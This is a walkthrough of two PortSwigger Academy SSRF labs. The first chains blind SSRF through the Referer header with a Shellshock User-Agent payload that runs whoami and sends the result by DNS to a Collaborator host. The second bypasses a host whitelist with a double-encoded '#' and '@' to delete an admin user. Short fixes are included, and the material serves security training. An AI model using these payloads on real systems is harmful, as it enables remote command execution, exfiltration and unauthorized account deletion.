Expert · updated

Server-side request forgery (SSRF)

PortSwigger Web Security Academy · Expert

  • #SSRF

Blind SSRF with Shellshock Exploitation

The vulnerability

The analytics software opens the URL in the Referer header. With that you reach a server in the internal network that is still vulnerable to Shellshock. It runs your command and sends you the result in a DNS request.

Fix: Install updates on internal servers too, and don’t open URLs from a header.

The lab

Open the lab on PortSwigger

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.

Note

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.

Solution

1. Generate a Collaborator Payload: Open the Burp Collaborator client and copy its unique URL. This will be used to exfiltrate data.

2. Verify SSRF on Referer Header: Use an extension like "Collaborator Everywhere" or manually check the Referer header to confirm that the application makes an OOB request to the domain specified, as shown in the lab screenshot.

3. Prepare the Intruder Attack: Go to a product page and intercept the GET /product?productId=1 request. Send it to Burp Intruder.

  • Positions: In the Positions tab, set the Referer header to http://192.168.0.§0§:8080/. Mark only the 0 in the IP address as a payload position.
  • Payloads: In the Payloads tab, configure the payload type as Numbers, with a range from 1 to 255 and a step of 1.

  • Headers: Modify the User-Agent header to include the Shellshock payload, which will execute the whoami command and exfiltrate the result via DNS lookup. Replace COLLABORATOR_URL with your unique Collaborator URL.
GET /product?productId=1 HTTP/2 
Host: 0a3b00cc034299ce80596cab003d0015.web-security-academy.net 
Cookie: session=w3aEtVcV3XothyhAC58XAVwSeVTM9QBp 
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).COLLABORATOR_URL 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: http://192.168.0.§0§:8080/ 
Upgrade-Insecure-Requests: 1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: same-origin 
Sec-Fetch-User: ?1 
Priority: u=0, i 
Te: trailers Cache-Control: no-transform

4. Launch Attack and Retrieve Username: Start the Intruder attack. After a few seconds, go back to the Burp Collaborator client and click “Pull now.” You will see an incoming DNS query with a subdomain that corresponds to the output of the whoami command (e.g., web-security-academy-user.YOUR_COLLABORATOR_URL).

5. Submit Solution: The subdomain web-security-academy-user is the username. Submit this username to the lab to solve it.

SSRF with Whitelist-Based Input Filter

The vulnerability

Only stock.weliketoshop.net is allowed. With an @ and a double-encoded #, the check sees that host, but the request goes to localhost.

Fix: Use the same URL parser for the check and for the request.

The lab

Open the lab on PortSwigger

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

Solution

  1. Intercept the Stock Check Request: On a product detail page, click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and Send to Repeater.
  2. Test the SSRF Filter: In Repeater, change the stockApi URL to http://127.0.0.1. The HTTP/2 400 Bad Request response with an error message confirms a filter is in place, requiring the hostname to be stock.weliketoshop.net.
  3. Test for URL Parsing Bypass: Try injecting a username into the URL (e.g., http://username@stock.weliketoshop.net/). A 500 Internal Server Error indicates that the URL is being parsed and the username is being interpreted as a host.
  4. Bypass the Whitelist with a URL-Encoded Pound Sign: Try to trick the parser into sending the request to the IP address in the username. Use a URL-encoded pound sign (%2523, which is a double URL-encode of #) to comment out the rest of the hostname. Change the stockApi URL to http://127.0.0.1%2523@stock.weliketoshop.net/. The 127.0.0.1 will be interpreted as the hostname to connect to, while the rest of the URL is ignored. An HTTP/2 200 OK response confirms the bypass and access to the local server.
  5. Delete the Target User: To access the admin panel and delete the user, change the stockApi URL to http://127.0.0.1%2523@stock.weliketoshop.net/admin/delete?username=carlos. The HTTP/2 302 Found response indicates that the user carlos has been deleted, and the lab is solved.